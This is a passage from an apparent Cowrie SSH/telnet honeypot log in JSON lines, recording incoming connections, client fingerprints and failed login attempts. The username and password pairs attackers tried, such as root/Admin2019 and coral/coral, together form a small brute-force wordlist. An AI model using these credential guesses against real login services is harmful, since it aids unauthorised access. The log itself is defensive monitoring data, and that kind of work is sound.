],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:20.775959Z","src_ip":"4.213.224.194","session":"2e23d0554172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QwEr!2#4","message":"login attempt [root/QwEr!2#4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:21.613946Z","src_ip":"4.213.224.194","session":"2e23d0554172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:22.820093Z","src_ip":"4.213.224.194","session":"2e23d0554172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":34910,"dst_ip":"10.17.0.5","dst_port":22,"session":"6652e6170b28","protocol":"ssh","message":"New connection: 111.238.174.6:34910 (10.17.0.5:22) [session: 6652e6170b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:29.836497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:29.842880Z","src_ip":"111.238.174.6","session":"6652e6170b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:30.051370Z","src_ip":"111.238.174.6","session":"6652e6170b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:30.834353Z","src_ip":"111.238.174.6","session":"6652e6170b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:32.024774Z","src_ip":"111.238.174.6","session":"6652e6170b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":41010,"dst_ip":"159.203.135.109","dst_port":22,"session":"20995e698272","protocol":"ssh","message":"New connection: 91.211.95.158:41010 (159.203.135.109:22) [session: 20995e698272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:50.746304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:50.751932Z","src_ip":"91.211.95.158","session":"20995e698272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:50.895313Z","src_ip":"91.211.95.158","session":"20995e698272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reporter","password":"123456","message":"login attempt [reporter/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:51.502129Z","src_ip":"91.211.95.158","session":"20995e698272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:52.647881Z","src_ip":"91.211.95.158","session":"20995e698272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57694,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea456d19e0a9","protocol":"telnet","message":"New connection: 107.6.151.170:57694 (159.203.135.109:23) [session: ea456d19e0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:53.382411Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54682,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e87b20a073","protocol":"telnet","message":"New connection: 107.6.151.170:54682 (159.203.135.109:23) [session: c9e87b20a073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:15:54.382620Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35082,"dst_ip":"159.203.135.109","dst_port":23,"session":"98badc724ed2","protocol":"telnet","message":"New connection: 107.6.151.170:35082 (159.203.135.109:23) [session: 98badc724ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:10.771651Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":16542,"dst_ip":"10.17.0.5","dst_port":22,"session":"46a4f53e05b0","protocol":"ssh","message":"New connection: 123.58.215.196:16542 (10.17.0.5:22) [session: 46a4f53e05b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:18.373240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:18.380615Z","src_ip":"123.58.215.196","session":"46a4f53e05b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:18.609028Z","src_ip":"123.58.215.196","session":"46a4f53e05b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdf1234","message":"login attempt [user/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:19.522140Z","src_ip":"123.58.215.196","session":"46a4f53e05b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:20.748138Z","src_ip":"123.58.215.196","session":"46a4f53e05b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.525115966796875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:24.907416Z","src_ip":"107.6.151.170","session":"ea456d19e0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":37476,"dst_ip":"159.203.135.109","dst_port":22,"session":"186647660f2b","protocol":"ssh","message":"New connection: 190.128.201.18:37476 (159.203.135.109:22) [session: 186647660f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:25.800768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:25.804068Z","src_ip":"190.128.201.18","session":"186647660f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:25.943846Z","src_ip":"190.128.201.18","session":"186647660f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coral","password":"coral","message":"login attempt [coral/coral] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:26.526057Z","src_ip":"190.128.201.18","session":"186647660f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:27.667489Z","src_ip":"190.128.201.18","session":"186647660f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60996,"dst_ip":"159.203.135.109","dst_port":23,"session":"8345ee842159","protocol":"telnet","message":"New connection: 172.81.62.90:60996 (159.203.135.109:23) [session: 8345ee842159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:28.449853Z"}
{"eventid":"cowrie.session.closed","duration":20.970423221588135,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:31.741962Z","src_ip":"107.6.151.170","session":"98badc724ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":53814,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f3c59374f2","protocol":"ssh","message":"New connection: 111.238.174.6:53814 (10.17.0.5:22) [session: 32f3c59374f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:31.907821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:31.914941Z","src_ip":"111.238.174.6","session":"32f3c59374f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:32.103319Z","src_ip":"111.238.174.6","session":"32f3c59374f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99952578544617,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:32.382001Z","src_ip":"107.6.151.170","session":"c9e87b20a073","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dut","password":"dut","message":"login attempt [dut/dut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:32.855496Z","src_ip":"111.238.174.6","session":"32f3c59374f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:34.063030Z","src_ip":"111.238.174.6","session":"32f3c59374f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":34864,"dst_ip":"10.17.0.5","dst_port":22,"session":"724c079c9a1a","protocol":"ssh","message":"New connection: 103.248.120.6:34864 (10.17.0.5:22) [session: 724c079c9a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:49.976388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:49.980751Z","src_ip":"103.248.120.6","session":"724c079c9a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:50.203662Z","src_ip":"103.248.120.6","session":"724c079c9a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"salman","password":"salman@123","message":"login attempt [salman/salman@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:51.128088Z","src_ip":"103.248.120.6","session":"724c079c9a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:16:52.354169Z","src_ip":"103.248.120.6","session":"724c079c9a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":57738,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf81e9856fb2","protocol":"ssh","message":"New connection: 62.133.62.83:57738 (10.17.0.5:22) [session: bf81e9856fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:06.428557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:06.434156Z","src_ip":"62.133.62.83","session":"bf81e9856fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:06.513653Z","src_ip":"62.133.62.83","session":"bf81e9856fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv0987","message":"login attempt [root/zxcv0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:06.757512Z","src_ip":"62.133.62.83","session":"bf81e9856fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.70924234390259,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:07.158991Z","src_ip":"172.81.62.90","session":"8345ee842159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:07.843823Z","src_ip":"62.133.62.83","session":"bf81e9856fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":33706,"dst_ip":"159.203.135.109","dst_port":22,"session":"26d9516d210f","protocol":"ssh","message":"New connection: 91.211.95.158:33706 (159.203.135.109:22) [session: 26d9516d210f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:14.151791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:14.156825Z","src_ip":"91.211.95.158","session":"26d9516d210f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp38